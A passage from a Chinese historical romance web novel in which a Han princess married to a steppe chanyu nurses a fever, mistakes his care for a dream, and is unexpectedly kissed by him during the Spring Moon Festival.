他是她夜里的床搭子,若无特意约定,白日间,她都不怎么能见到他。
所以,应该还是在做梦——又换了个梦境。
她往后躺倒,继续睡,迷迷糊糊腹诽大单于有毒,在她梦里都卷得可怕,勤政人设不倒。
赫连煊见她醒来,落笔停书,走到床头矮桌旁,拿起小火炉上的药罐,倒在碗里。
“药汤熬到时辰。你既是醒了,自己喝药。”他单手拉她坐起来,另一手将药碗递给她。
穆凝姝微微歪头,定定看着他。
这个梦还挺体贴,他说的汉话。
她很喜欢听他说汉话。语气偏缓,少几分冷硬。
既是在梦里,还难得梦到了高贵冷艳的单于,她该有点骨气和特权。
平日里她总得对他行礼,给他夹菜,帮他倒热水,凭什么不能颠倒下角色?
反正,是在梦里嘛。
此时不过把瘾,更待何时。
她抿出点笑来,又收敛神情,学着他惯有的冷峻神情,严肃道:“喂我。”
赫连煊:“你说什么?”
穆凝姝理直气壮,重复道:“让你喂我呀。我病了,你照顾病患,就应该喂人家。”她都是这么照顾生病的动物。
她想表现出气概,可惜风寒鼻塞下,说话瓮声瓮气,颐指气使看不出,倒像是撒娇。
赫连煊瞧着有些好笑,问她道:“公主,你看清楚我是谁。你敢这么跟孤说话?嗯?”
“你是赫连煊。”她语气肯定,坐直身躯,“本公主清楚得很,你是赫连煊也得喂我。因为……”
她想起方才的斗狗战绩,越发自信,威胁他:“因为,我很凶猛。赫连煊,你敢不听话,我就揍你。”
赫连煊抿唇,笑得恣意。已经很久没听到人直呼他姓名。她用汉话叫他,更是独一份。他学汉话时,学的第一个词便是自己名字,当时只觉读法怪异。现在听她念出来,还不错。
穆凝姝:“不准笑。我真的会揍你。”
他好整以暇,“行,你试试。”
这等反应,却让穆凝姝为难了。
她回想下方才的斗狗大战,双方都是用嘴,战况激烈。
咬狗嘛,她还行。
但是……她看向赫连煊的脸。
咬他的话,从方才战斗中提取的斗争经验,用到他身上,仿佛有些奇怪。
她恶狠狠瞪他半晌,高傲地撇过脸,将所以不满化为一句,“哼。”
暂时不知道该如何揍他,待她思考思考。
手中的药微微凉了些,赫连煊拿只汤勺,舀药喂她,“真麻烦。喝药。”
穆凝姝转过脸来,不愧是她的梦。原来她只需要“哼”一下,他就怕了。
她低头喝药。
汤药入口苦涩,有些烫。
于她而言,真真算不得什么,生病时能立刻有药喝,是贫困潦倒时盼都盼不来的好事。
但人就是这般恶劣。眼
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见平日高高在上的单于,在她梦里温柔得不像话,难得可贵,她生出欺软怕硬的险恶心思。
“烫。”她拒不配合,故意找茬。
如果赫连煊撂挑子,她就扑上去咬他,让他好好见识下她的勇猛。
却不知自己的声音软如一汪水。
赫连煊面色看不出什么情绪来,却低头朝勺中汤药吹两下,再次将勺子递到她唇边,“喝下去。御医说须趁热。”
若是再不听话,他不介意用她昏迷时的办法帮她灌药。隐隐希冀她的不听话。
穆凝姝吃软不吃硬,没想到赫连煊竟会纵着自己。
梦里这个大单于,这样好,她却变着花样欺负他。那她跟玛茹有什么区别?
即使在梦里,人也不该太任性。她讨厌玛茹,才不要成为她。
穆凝姝不再闹腾,静默喝药,不时偷偷瞄他。
他低垂双眼,睫毛很长,遮住锋利眼眸,鼻梁挺拔,薄唇微红。
帐中燃有炭火,他素来不怕冷,厚重外套脱到一旁,仅着中衣。衣襟未拢严实,脖子上叠戴着两串以各色珠玉和狼牙串成的链子。
都说梦里会看不清人脸,总像隔着层迷雾。她的这个梦却无比清晰,连狼牙上细细的裂痕都看得清。
她伸出手,珠玉狼牙,一个一个摸过去,循序往上,目光停留在他脖颈间的凸起上。
喉结。
男人才有喉结。看得多,却从没摸过。她好奇心重,平时得忍,梦里再不肆意妄为,多亏。
摸一摸罢了,他又没损失。
她抬起手指,点在上头。
那块凸起,在她指下,上下滚动。
“你安分点。”赫连煊抓住她作乱的手,眼光一改先前柔和,神色晦暗,手指划过她手背上的冻疮痕迹,问道,“公主见过野兽捕猎吗?”
穆凝姝摇头。他的手温暖干燥,动作极轻,触碰过的地方微微发痒。
难道连做梦,她都不配拥有一双如玉美手吗?这个细节她不喜欢。
赫连煊沉声道:“脖颈为要害,一击致命。但凡换个人敢朝孤喉结招呼,现在已经是具尸体了。”
她呆愣一会儿,有点生气,“赫连煊,你真小气,想得也太多。”
在梦里,防备心居然也这么重,真是难搞。而且,这是她的梦!别说摸摸他脖子,就是扒光了把他从头摸到尾,他也得受着!
必须给他点教训。
她夺过他手中药碗,仰头将剩余的药一饮而尽,双手攀上他的肩,低头袭向他脖子。
飞快咬上去。
19. 第 19 章
上方传来一阵吸气声。
她松口,抵住赫连煊双肩,离远些。
看到他眼中的惊诧,她心情大好,哼哼道:“现在知道怕了吧。别老想吓唬我。我告诉过你,我特别凶猛。”
她对他有种莫名其妙的征服欲。
平日里多多少少有点怕他,得到机会,忍不住反扑过把瘾。
说话间,她低头咳了两声,单薄的肩身随之颤动,衣襟松动,前胸顿感寒凉。
旋即感到身上一重,多出层毯子。
穆凝姝:“……”
接下来不该是打一架吗?
他给她披毯子,以德报怨,会衬得她特别反派。
是被她吓坏了才这样?
但她咬得极轻,不会疼吧。
或许,会疼?
她这人,最受不得人家对她好。
忽然不忍再欺负他。
她裹住毯子,躺倒在他腿上,反握住他的手,拉到自己脖颈处,声音软软的,“我也给你摸摸,行了吧。你手放在这里,要是我妄图掐你,你反应一定比我快。”笑着看向他,“你这人,半点亏都不肯吃。”
说罢,她再度伸出手。指尖轻轻拂过他喉结,轻得像片羽毛。
帮他揉揉就不痛了吧。
赫连煊闷喘一声,未再阻拦,也未再言语。
她或许不知道,敕加男女间,不似中原人拘谨,但脖颈致命处,是为大防。在敕加族的习俗中,只有最亲密的爱人才会如此行径,定亲时,新人会互相抚摸亲吻脖颈,誓以生死与共。
除了帝王。
帝王高不可侵,脖颈为其命脉,即使是王后,也不可僭越。
烧坏了脑子的公主,胡闹磨人,还不自知。
他轻轻抚过她脖颈,细腻,光滑,纤细。
稍稍用力,顷刻即断。
对于他这双握惯了刀剑的手,她脆弱得过分。
赫连煊手移到她发上。
长发如缎,未加任何装饰,乌黑若云。
轻轻抚过,细软顺滑。
窗外,阳光大好,透过窗纱,斑驳在她肌肤上,面颊细小绒毛仿若镀金。
她清醒时,断然不会有这么多逾矩行为。
穆凝姝:“赫连煊,你在笑什么?”
他垂眸,“我有在笑吗?”
“有哇。”她仰躺在他腿上,笑眼盈盈,映入他眸中,“你今天一直在笑。”
摸喉结摸够了,她一指勾住他项链,慢悠悠摇晃,有一下没一下。
晃得自己直犯困。
他身上很暖。
她侧过身,试探着伸手,揽住他的腰。
没有被推开。
她抱得更紧了些,双眼沉重,缓缓合上。
赫连煊叫来侍女,将未批的奏折搬到床边矮桌上。一手执笔批阅,另一手在她发上随意轻抚。
床顶钩挂着只青铜香球,吐露清淡香雾,平心宁神。
一盏熏香燃尽,阿香进入帐中,走到他身旁,低声禀告:“札木尔大人说有要事找您。让奴婢通传。”
赫连煊抱起熟睡的姑娘,放在床上躺好,余光瞥到趴在床底的小狗。
小崽子老实巴交,在临时拿毛毯搭的窝里一动不动。
******
待穆凝姝醒来,天色已然黑沉。
她迷糊睁眼,怀里揣着暖呼呼的小狗崽。
难怪梦境真实得可怕,连赫连煊的体温都栩栩如生,原来是这小家伙。
她摸摸小狗脑袋,亲上一口。梦里的大狗虽然可恶,丝毫不妨碍她对小狗崽的爱。
阿香见穆凝姝醒来,命人布菜,又端来药汤,正愁该如何劝其喝药,穆凝姝却主动接过,自个儿边吹边喝,就着汤剂吞药丸,半点儿没闹腾。喝完后,将药碗还给她,也不见任何抱怨,乖巧得很。
连提前准备好的蜜饯和奶贝,都派不上用处。
这和赫连煊交代她的不一样。
大单于说阏氏怕苦,得盯着她喝,若是不听话,就硬灌,别由着她胡闹。
阿香思索片刻,悟了。
这,定是凝姝阏氏同单于的情趣。阏氏朝他撒娇呢。现在单于不在这儿,阏氏便懒得费心。
她身为侍女,若主子不配合喝药,她夹在中间难做。若主子是个废物,她得跟着三天饿两顿。
还好,都不是。
她这位主子冰雪聪明,进退得宜,为人也和气。
阿香高兴,看破不说破,只夸道:“这么苦的药都能喝下去,凝姝阏氏真厉害。这儿有燕窝雪梨甜汤,您压压苦味。还有青蔬鲜虾汤,山药鱼片粥,都是好下咽的清淡菜式。您尽量多用些,御医说病中一定要补充营养。”
穆凝姝整日昏沉无力,没吃什么,这会儿饭菜香味一熏,才觉饥肠辘辘。这些饭菜都是中原口味,最是适合病患。
阿香给她盛碗粥。她尝上一口,山药鱼片粥滋味特别鲜美,连她一个味觉不济的病人都爱吃。
穆凝姝想到赫连煊,问道:“单于用过晚膳吗?”
若是没有,可以温着等他回来尝尝,他平日吃饭随意,不规律,这道粥对胃好。
阿香道:“大单于应当是在王庭那边用膳。他还交代过,今晚要通宵议事,
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不回来睡了。”
“哦,好。”
穆凝姝埋头吃饭,又想到白天间奇奇怪怪不间断的梦。其他都零碎得很,记不太住,唯独关于他的那个梦格外清晰。
梦里那个赫连煊……真是很好呀。弄得她都忍不住关心赫连煊本尊了。
若梦中人能跟现实里的大单于换换该多好。
嗨呀,白日做梦,想什么呢。
“大单于吉祥。”
在侍女们的问候声中,赫连煊出现。
她闻声抬头,不解他为何现在回来,又自我答复:人家想回就回,轮不上她管。
便简单行个礼,未加聒噪。
见赫连煊打算同桌吃饭,她混沌的脑袋难得清明了会儿,阻拦道:“单于,我身体抱恙,您当心过了病气。”
赫连煊道:“风寒不是时疫,不传人。”他转问阿香,“药都服下了?”
阿香道:“是。汤剂、丸剂都服了。”大单于专程回来检查这事儿吗,啧。
他嗯一声,落座。
穆凝姝拿起勺子,从小砂罐中舀出一碗山药鱼片粥,道:“还是仔细些好。这粥是舀出来吃的,我没直接接触。”
又拿起筷子,帮他夹未动过的菜。
赫连煊任由她安排,他向来对食物不甚在意。
看状况,她病情好转许多,不复白日里的娇憨。
穆凝姝吃饱喝足,忍不住逗狗玩儿。赏味期小奶狗,怎么都吸不够。
目光瞥见赫连煊,他舌尖上有块明显的破损,她问道:“咦,单于,你舌头怎么了?”
赫连煊顿住,看向她,“……被狗咬的。”
中原有句俗语,狗咬吕洞宾,很适合她。
穆凝姝惊讶,“哇!好厉害的狗!精准度能高成这样?!”
不对。
不该这么说。
她改口,状似沉痛,“我是说,好坏的狗,竟敢如此放肆。心疼死妾身了。”
内心直想笑。她在梦里大战恶犬,没想到赫连煊当真让狗给咬了。到底多倒霉,才能被狗咬到舌头。
她不敢追问。
任何人都要脸面,何况是大单于。
赫连煊的眼神停在她这边。
他在看自己怀中的小狗崽?
穆凝姝立刻掰开它的嘴,替其自证清白,“肯定不是它咬的,你看,它都没长牙呢。”
她还想跟暖呼呼的小狗睡,绝不能让它受冤枉。
“嗯,你说得对。”他微微噙着点笑,静默用膳。
穆凝姝:“……”
被狗咬还这么开心,果然很奇葩。
20. 第 20 章
养病几日,高热退去,穆凝姝脑子恢复运转,开始思考乌琪的得宠大事。
三月十五,是草原上重要的节日,春月节。
敕加人崇拜日月。每年春季三月十五,秋季八月十五,都要祭拜满月,春求繁衍丰茂,秋求无病无灾。
在一众节日中,春月节格外受欢迎,因其有个特殊习俗——当天,姑娘们可以向心仪的男子示爱求吻,男子不能拒绝。
她替乌琪制定的万全之策,就定于这一天。
届时,她想办法将赫连煊约至一处。
待满月中天之时,红衣美人乘着月光跳舞,向他示爱。
他定睛一看,竟是他先前就颇有好感的乌琪。
亲亲抱抱举高高,一顿操作猛如虎,事成。
但凡事还得讲究个“万一”。
帝心不可测。赫连煊日常因对诸事漠然而显得平和,偶尔甚至挺好说话,但对待赫连天雄和雅曼的狠厉,才是他骨子里的底色。
假若,当晚发生什么意外,引得赫连煊对乌琪不满,在此官方钦定的谈情说爱佳节,或许他不好给出过分的惩戒——祖宗留下来促进男女感情的好传统,乌琪遵循习俗向他示个爱,再错都错不到哪里去。
此乃春月节特别保命罩,错过此回,再等一年。
天时,地利,人和。
只待实践。
风寒发热耽误好几天工夫,现下离春月节仅剩十天。
答应乌琪的裙子,穆凝姝还一处未改。
工期吃紧,加班加点干活儿,让她瞬间梦回在姜国当宫女的日子。
那时候,她的空闲时间几乎全耗在女红上。她手艺很好,尤其是刺绣。绣品找人偷偷拿去宫外卖,价格能比其他宫女卖得高。
嫁来草原后,缝缝补补做得多,刺绣却没再碰过。好在手艺未丢,她绣上半个时辰后,找回昔日手感,为红裙绣上精细葳蕤。
十天后。
春月节来临。
大单于在政事上是皇帝,在文化信仰上,则担任大祭司之职。
按照草原习俗,此等节日,大单于作为天神之子,在正午之时,要率领部落臣民行祭祀礼。
此为赫连煊登基后的第一场祭典,操办得十分隆重,场面盛大。他身着大祭司礼服,在巫祝们的护送下,缓步走上祭台,祝祷天佑赫连。
类似的祭典,穆凝姝看过好几场,由涂丹单于和赫连天雄率领。
没有哪一次,比得上这场。
祭司服以皮草为主,披风曳地,华丽厚重,张扬浓烈。
每次看前夫们穿,穆凝姝总觉着这衣服沉重累赘,把人拖得步伐笨重,活像只熊。绣花图样过于花哨,不符合她作为中原人的审美。
赫连煊宽肩窄腰大长腿,体格精瘦而非雄壮,穿衣显瘦,款式差不多的礼服穿在他身上,格外好看,修长华丽,贵气逼人。
他容颜俊美,此时眼尾以胭脂勾勒出红纹,大大凸显其昳丽,好在他气质足够硬朗,压制住了那份妖冶,达到一种恰到好处的平衡。
神秘,瑰丽。
大权在握,生杀予夺。
望着高台上的帝王,穆凝姝忽然理解了牧民们的信仰。
有些人,的确过分耀眼,不似凡人。
若是神明有模样,除了他,她暂时想不出其他模样。
而她今晚得约出这位神明。压力骤大。
在乌琪得宠计划里,女主角乌琪专注于表演,她负责将男主角带到约好的地点。
如今万事俱备,只欠赫连煊。
祭典结束后,赫连煊回到王帐中洗漱换衣。
因不喜旁人触碰身体,他平日洗漱都不要侍女伺候。脸上胭脂难以除去,他沾湿帕子,对镜用力搓揉,洗不掉,脸色显露出不耐烦来,越发大力。
他胡乱蹂躏自己那张鬼斧神工的脸,穆凝姝看得肉疼,走到他身旁,“单于,我帮你擦?”
赫连煊把帕子交给她,躺到躺椅中。
她取来香膏,涂在红纹上,待油脂融合。
赫连煊手指轻扣躺椅扶手,注视她,“公主向来无事不献殷勤。”
被他一眼看透,穆凝姝狡辩:“哪有。我、我就是看你弄得皮都红了,好心想帮你……好吧,的确有事。你下午要出席宴会,但晚上有空闲,对吧?”
赫连煊忽然单手揽住她腰身,她往前倾倒,跪在他腿上。
他问:“下午宴席,你不去?”
穆凝姝抓住两侧扶手,稳住身体,“不去吧。小可爱不知怎的忽然吐奶,我要带它去扎针。”
小狗崽没取名,她总叫它小可爱,干脆当名字用。赫连煊不在意这些,由她去。
宴会上都是群糙老爷们儿,她一中原后妃,省得去当显眼包。
“好。”他道。
纯白香膏和红色颜料融合,化成两块浅淡的粉色,恰在他两侧颧骨处,有种滑稽的可爱。
可爱。
这个词,在赫连煊身上出现,意想不到。
而她对可爱的一切,毫无抵抗力。
他慵懒仰躺,跟她闲聊细小的琐碎事,好似寻常夫妻。
莫名有种淡淡的惆怅涌上心间。
她想起正事来,得给乌琪牵红线。
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她将这股莫名惆怅算到赫连煊头上,他花心倒是花得随意,累得她忙前忙,可不得惆怅嘛。
哪个打工人爱加班?
朝好处想想吧。
乌琪向她打听过赫连煊后,心生好感,今晚过后,好姐妹得爱兼得宠。赫连煊一句话,她就将美人安排上,作为后妃,不妒不闹,办事妥当。他必会称赞她一句贤惠。
大家都开心。
穆凝姝再次询问:“夜里有空吗?”
得到男主角肯定答复后,她撑住躺椅扶手,从他身上爬起来。拿来纸笔,一顿写写画画,给他示意位置,道:“单于,今晚亥时,您来这个地方。”
这地方非常偏。
赫连煊:“你想赏月?”
若是赏月,祭台是最佳观赏点。他已吩咐札木尔布置,用不着这般大费周章,跑去荒郊野岭。
穆凝姝模糊道:“嗯……算是吧。反正有好东西给你看。”惊喜说出来就不叫惊喜了,先不能提乌琪。
“行。”他应下。她既不说,他不再问。
红纹彻底化开,她拿帕子细细擦去,动作轻柔。
******
亥时,满月高悬。
灌木丛后,穆凝姝蹲藏,暗中观察。
赫连煊如约而至。
左等右等,却不见该惊艳登场的红衣美人。
荒原中,他一人独立,场面冷冷清清。
穆凝姝将约会地点选在此处,有深刻道理。
草原女孩们举止开放,春月节习俗又是鼓励女子向男子表露心迹,中午祭祀时,她周边无论是阏氏,还是未出嫁的姑娘,话题全围绕着赫连煊,虎狼之词频出。有些话她听不太懂,但从语气和表情中,仍大受震撼。
若是选在人多热闹之地,恐怕不等乌琪登场,赫连煊已被一群女人瓜分,乌琪连他衣角都别想沾半片。
这地方还有个好处。远离人烟,不见灯火,月光越发明亮,更能衬托美人之美。
但现在……乌琪到底在哪里!敢放大单于鸽子,是嫌大家命太长吗?
亥时一刻了,依然不见女主角人影。
穆凝姝心焦,随手乱薅地上杂草。
久等无人,赫连煊取出腰间骨笛,在指尖转玩片刻后,缓缓吹奏。
她心漏一拍,顿时愣住。
他吹的曲调,她听过。
莫勒钦偷偷骑马,带她去河中沐浴那夜,就是吹的这支曲子。
月色清凉如水,他吹笛的身影同那人重合。
忽然她手心抓到一团冰冷滑溜。
“妈呀!单、单于救命啊——”
21. 第 21 章
穆凝姝从灌木丛中窜出,直奔赫连煊,一头撞上他,紧张到咬舌:“蛇、蛇蛇——草里有蛇!”
她小时候去山里砍柴,被蛇咬过,差点死翘翘,运气好碰上个游医在村中问诊,才救回小命。
家贫房破,夏夜睡觉时忽然冰凉舒服,她抱着睡上一夜,次日发现竟然是条大蛇,吓得她噩梦好几宿。
蛇跟她,仿佛有前世宿仇。她热爱世间所有动物,除了蛇。
赫连煊抓起她双手检查,没有咬痕。袖子挽上去,手腕、手臂都没有。还好。
穆凝姝却陡觉不好,暴露了。
果然,赫连煊问道:“你躲草丛里做什么?”
事已至此,暴露就暴露,再鸽下去,赫连煊也该生气了,她还是得出来圆场。
穆凝姝信口胡诌:“我没躲呀,只是刚好从那边过来。听到草里有动静,我以为也能跟你一样,捡只小狗小猫玩玩。呵呵,运气背,居然是条蛇。幸亏没咬着。”
“贪心。有了小可爱还不够。该受点教训。”
他放开她。
月色荒原,风过,毫无人声。她意识到嘈杂背景音的重要性,后悔选在此处。
她心虚时,忍不住话多,看向赫连煊手里的笛子,道:“没想到单于还有此才艺,吹得真好听。可以给我看看吗?这个和中原笛子不一样,我们那儿都用竹子做。”
赫连煊递给她,“是以鸟骨制成。”
穆凝姝想起方才的曲调,“刚才那首曲子,很好听。我在赫连从没听过,是耶律部特有的?”
他道:“只是草原上的寻常歌谣。哄小孩儿的摇篮曲。大家更喜欢直接唱。”
“哦,是这样啊。”穆凝姝笑笑,白高兴一场。还以为笛曲能提供点儿关于莫勒钦的线索,却只是大众童谣。
她把玩着骨笛,凑在唇边吹奏,成不了曲调。莫勒钦只初步教过她吹响,来不及进一步教。
赫连煊道:“你说有好东西给孤看,是什么?”
穆凝姝攥住骨笛,冥思苦想。好东西没有,却有一个坏东西乌琪,坑死她了。
这场约会本不属于她,临时充数,她毫无准备,全靠现挂。
月上中天,银辉璀璨。
穆凝姝勉强胡编圆谎:“今夜月色很美。我千挑万选,才找出这个绝佳观赏地,还无人打扰。佳节良辰,到处人山人海,想找处安静地儿,不容易。”
她又拿着骨笛,指向天上皓月,“单于你看,这个月亮又大又圆,特别像刚出炉的馕饼呀。我们中原有个天狗食月的故事,我猜这个大月亮,吃一口应该是脆脆的,凉凉的。”
她学着记忆里说书先生的模样,摇头晃脑讲起天狗食月。
讲完这个,她望向他,“该你了。”
她很会讲故事,无聊普通的东西从她口中说出来,平添几分趣味,连因语言生疏而产生的停顿,都可可爱爱。
他却不是个讲故事的好手。
事实上,他听都听得很少。为数不多还记得的草原故事,都是打打杀杀,跟中原风格相去甚远。
月光明亮,赫连煊抬手拂去沾在她发髻上的草。
他垂眸看她片刻,缓声道:“明明如月,何时可掇。”
穆凝姝:“嗯?什么?”
他忽然切换汉话,她一时没反应过来。
是在说汉话吧。
赫连煊重复念了一次,道:“是中原的诗句,公主。”
他又另念了几句其他关于月亮的诗词。
“哦哦,是诗啊。我当然知道是诗。”她望着他,好一会儿才说话,真心实意夸他,“你这诗念得真好听。”
问题是,她听不懂。
听到了熟悉的字,连起来却一知半解。
她出生于一个特别穷小村子,连个教书先生都没有,全村文盲。村里死了人,刻墓碑,得专程跑去特别远的镇里请人。
进宫后,底层粗使宫人们大多也不识字,她花钱求念过书的太监教了点儿入门,四处托人弄来儿童识字旧书,拿零碎时间苦学。笔墨她买不起,全靠捡小木棍在地上练字。
学得七七八八后,她低价帮宫人们写家书。偶尔替太医院干抄写整理堆积药方的苦差事,换点药用,因此获益,略懂医药,记得几个宫中药方。
学习常用字尚且不易,遑论诗词歌赋。那都是贵人们的消遣,她哪里能有机会和时间学。
原以为草原人鲁莽,赫连煊却连异国诗词都能信手拈来。为知己知彼,他们对中原文
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化的了解,远超她想象。贵族教养,可见一斑,跟平民之间的壁垒,仿佛天堑。
她当真觉得,赫连煊诗念得好听,想他再多念几句听听,却担心就此多说下去,他一时兴起要她也吟诵几句,或说道说道诗句意境,她难免露怯。
穆凝姝不动声色,沉稳道:“虽然,你念得是很好听。但跟女孩子出来玩儿时,我们都不兴念诗。”
赫连煊道:“是吗?依孤所知,中原人过节很喜欢吟诗作赋,讲究‘风雅’。小时候,先生是这么说的。”
儿时学汉语,同窗们大多讨厌学诗句,嘲笑吟诗作赋酸溜溜,他说不上喜欢,但因过目不忘的本事,都能记得。比起诗句,敕加人更喜欢唱歌。歌词……非常直白,非常唐突。
穆凝姝抿笑,“你也说了是小时候,十几年过去,变化大着呢。总是念诗,姑娘会觉得没意思。我们更流行讲故事。单于,你是不是不会讲故事呀?没关系,那我再讲一个给你听好啦。应景的,嫦娥奔月。”
她也就记得这些个民间传说,还是小时候街头巷尾听来的存货。
穆凝姝清清嗓子,再度摇头晃脑:“……嫦娥仙子偷了她夫君的灵药,奔月成仙后,夜夜在月宫以泪洗面,后悔寂寞。这个故事教育我们,做人要诚实,不能贪心,不能偷东西。还有……”
她忽然噤声。
赫连煊:“怎么不说了?”
她轻哼一声,“讲太多,口渴,不想说了。”
其实不是。
讲着讲着,她发觉不对。
今晚全场,数她最不诚实,全程没一句实话。合着讲故事全骂她自己呢。
她低头玩骨笛,走路心不在焉,脚下一绊,朝地上栽去,慌忙拽住旁边的人。
一拉一扯,她跌到他怀中。
感觉十分刻意。
连她自己都觉得非常刻意。
今晚,她是有点霉运在身上的。
赫连煊一定又要说她投怀送抱,再骂句登徒子。
穆凝姝仰脸看他,叹气了然,还是得走下解释流程:“单于,或许你不信,但其实我当真没想要——唔——”
忽感唇间温软。
他弯腰颔首,嘴唇覆上她的,封缄住剩下的话。
22. 第 22 章
刹那间,她惊到呆愣,浑身僵直。
在二人独处的时刻里,他躺在她身边入睡,她偷偷看过他无数次,对他这张脸无比熟悉。
赫连煊的唇偏薄,跟他的个性很般配,冷冷淡淡。
现在覆在她唇上。
浅浅地触碰,并没有其他动作。
她闻到熟悉的松枝清香,比过往任何一次都清晰。
两人面对面站着,他仅仅朝她俯身低头,双臂自然垂落,没有限制她的人身。
她却忘了这一点,忘了只要后退一步,就能轻易躲开。
这个极浅淡的吻,或者说触碰,持续的时间并不长。
赫连煊离开她的唇,站直身躯,垂眸看她。
她抬眼,依旧没从刚才的震惊中回过神来,仰脸直直望着他,眉眼怔然。
为何赫连煊忽然有此举动,她不理解。
注意力全在唇上,她本能地伸出舌头,舔了舔上唇。
下一秒,双唇再度被他堵住。
不同于方才的浅淡。这次,他一手扣住她后脑,一手揽在她背脊上,不容她后退。
在她惊异的微张中,他趁机侵入,带着她从未在他身上看到过的莽撞。
他的性子里,没有莽撞这一项。
不管做什么,不管是急是缓,他总是一副运筹帷幄的模样。
此刻却莽撞得让她陌生。
她脑袋往后躲。
掌在她后脑处的手朝上托举,逼迫她仰面承受。
她这才明白,他环抱住她的姿势,另有深意,令她无路可逃。
识时务是她的一大优点,她不再徒劳挣扎。
这一变化取悦到他,他步调稍稍放缓了些,她得以喘息。
今夜月明,星子稀稀疏疏。
她睁着双眼,却觉他背后的夜幕中,星光闪烁个不停。
晕头转向。
脑子越来越迷糊。
在临近缺氧昏过去的前一刻,赫连煊终于结束了这个漫长的吻,轻轻吮过她的上唇,放开她。
她依然保持着刚才的姿势,仰脸望着他,越发呆愣。
赫连煊挑眉,声音中难掩笑意,“还渴吗?公主。”
他唇上沾染了她的胭脂,不均匀的淡红。
待反应过来发生了何事,她眼神中陡然增添几分显而易见的惊恐。
朝后微微挪了一小步。
她悟了。
今晚是春月节啊。
她大晚上约他出来,往他怀里扑,还说什么“口渴”这种一听就让人想入非非接的话……不过“口渴”真的能有暗示意义吗?
天地良心,她随口说的,绝没其他心思。
但一切机缘巧合凑在一块儿,落到赫连煊眼中,就成了她在蓄意索吻。
从行为,到言语。
穆凝姝手指抚摸嘴唇,肿了。
敕加人的风格,这么实在吗?
眼神再看向始作俑者唇上的残红……她迅速低头。
卒不忍看。
赫连煊这人,当、当当当真大方。
平时赏赐自不用提,这种事上也亲力亲为,不惜余力。
四周寂静得可怕。
想找话说,却不知该说什么。
夸他尊重传统,堪称敕加男儿典范?似乎更加落实她的不轨之心。
向他解释全是误会,她并没有索吻的意思?人家纡尊降贵亲都亲了,你再说他纯属自作多情……她脑子里冒出个矫揉做作的奸妃形象,“是单于非要亲人家了啦,人家又不愿意啦嘤嘤嘤——”
一阵恶寒。
她蹙眉,被自己的脑补恶心到。
思来想去,终是抿唇不语,低头把手中骨笛从头摸到尾,再从尾摸到头,仿佛这东西无比新奇。
忽然听到一阵熟悉的声响。
“表哥。”
玛茹不知从何处窜了出来。拖着尚未好全的脚,身残志坚朝他俩这边赶,气势磅礴。
远处可见点点灯火。
穆凝姝这才发现,她和赫连煊聊天时胡乱走着,绕回到王庭附近。
她三步作两步,在敌军到达前,逃离现场。走出一段距离,回头望向远处的两人。
今晚天赐良机,玛茹恐怕发疯似的找了赫连煊一整晚,扯着他手臂说着什么,形容激动。
穆凝姝转身继续走,忍不住回想刚才的吻。
这是他们之间的第一个吻。确切说,她不知道这到底该算作吻,还是仅仅出于惯有的习俗。
敕加人从小就这样,刚才来的路上,有个还没到她腰高的小女孩,急吼吼追个小男孩,追得人家嗷嗷直哭,小女孩在后面兴奋大喊我爱你。
或许于赫连煊而言,这只是极普通的举手……举嘴之劳。
他也会以同样的方式亲吻玛茹吗?
她一阵茫然,大脑空白片刻后,莫名转向一个十分具体的问题。
那,这样的话,他口水够不够用啊。想想还挺渴的。
她不自觉舔下唇,调转方向,往自己毡帐走去。
任她素来端正淡然,今晚发生太多意料外的状况,她着实无法立刻再次面对赫连煊……跟他相聚在寝帐中探讨渴不渴的问题。
******
一进毡帐,穆凝姝打眼就看到乌琪。她捧着个汤婆子,身上披着厚厚的毯子,头发凌乱,妆容脏兮兮,精细裁出的红裙破破烂烂。
不等她开口问话,乌琪嗷呜扑上去,趴她怀里狂哭。
乌琪今晚的遭遇,跌宕起伏。穆凝姝给她画了地图,然而这丫头方向感奇差,不辨东西,只认左右,七拐八弯迷了路,误入一处幽会圣地——朝灌木丛里扔块砖头,能砸死三对野鸳鸯。
找路乱走之际,乌琪一脚踩上一对。
男鸳鸯见乌琪美丽动人,当着女鸳鸯面朝她吹口哨,气得女鸳鸯火冒三丈,大骂乌琪蓄意勾引,拉着要她解释清楚。
乌琪急着赴约,却白遭冤枉,被缠住谩骂。她一堂堂单于阏氏哪里受得了这委屈,直接拳头招呼女鸳鸯,大骂男鸳鸯猪头男,她看不上。
二人单挑变成三人混战,打了大半宿。乌琪以一敌二,勇猛获胜,变成现在这副鬼样子。
见穆凝姝沉默不语,乌琪痛哭流涕,直言对不起她一番心血,颤抖道:“单于那边如何?我、我不是故意放他鸽子。那俩傻缺扯着不放我走。天呐,我晾着大单于一个人在荒郊野外,他会不会杀了我?”
颤抖哀嚎之余,不忘关心下好友:“咦,凝姝,你嘴巴怎么肿的,你也跟人打架了?你告诉我谁干的,姑奶奶抽她丫的!”
穆凝姝:“……”
她略过后面的问题,选择性回答:“既然是惊喜,我没提前告诉赫连煊具体内容。他不知道是你约他,你不用担心受罚。”
乌琪猛一顿夸赞穆凝姝做事周全,此次出征不顺,发誓待来日再战,必不会再整出幺蛾子。
没说几句,乌琪狂打喷嚏。她一心献舞,出发时只穿了单薄舞裙,迷路打架一大宿,风寒入体,开始流涕头痛。
穆凝姝让侍女送乌琪回去休息,安排御医看顾。
忙完已是深夜。
她爬进被窝里,眼睛瞥到床头矮桌上的骨笛,拿过来,握在手中把玩。
方才只顾着逃,忘了还给他。
怀中揣着小可爱,手里攥着骨笛。
他在她生活中的痕迹随处可见。
纵然知晓赫连煊全然误解了她的意思,纵然今晚去的人是乌琪,他也会有
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相同举动。她的心仍旧忍不住怦怦跳。
很奇怪,她并不讨厌他的触碰。
或许是因为他们同床共枕许久,她已经习惯了他的存在。
说不出原因来。
骨笛过几天再去还给他吧。
虽说不该把这个小意外当回事,但她还是需要时间,稍稍平复下心情。
任何一个女子被人亲吻,都会这样,人之常情。
这几日先躲躲。
******
翌日得知,赫连煊外出打仗,至少一个月才能回来。
这桩烦恼迎刃而解,却与另一桩烦恼狭路相逢。
春月节那晚,穆凝姝在寒风中呆太久,再度头疼脑热,便去药房拿几付药吃吃,门口遇到玛茹。她肿着两只眼,显然哭过,尚未消肿。
那晚赫连煊没大方成全下表妹的梦想吗?
穆凝姝自问自答:看情形肯定没有,也不能有。
玛茹对于他,和普通女孩子不一样,他既然不打算娶她,便绝对沾染不得。况且以玛茹的性子,成全其亲吻的梦想,只会膨胀她下一个更离谱的梦想。
跟玛茹的旧账,上回暗算已了却,穆凝姝淡然颔首,以示礼节,朝药房里面走去。
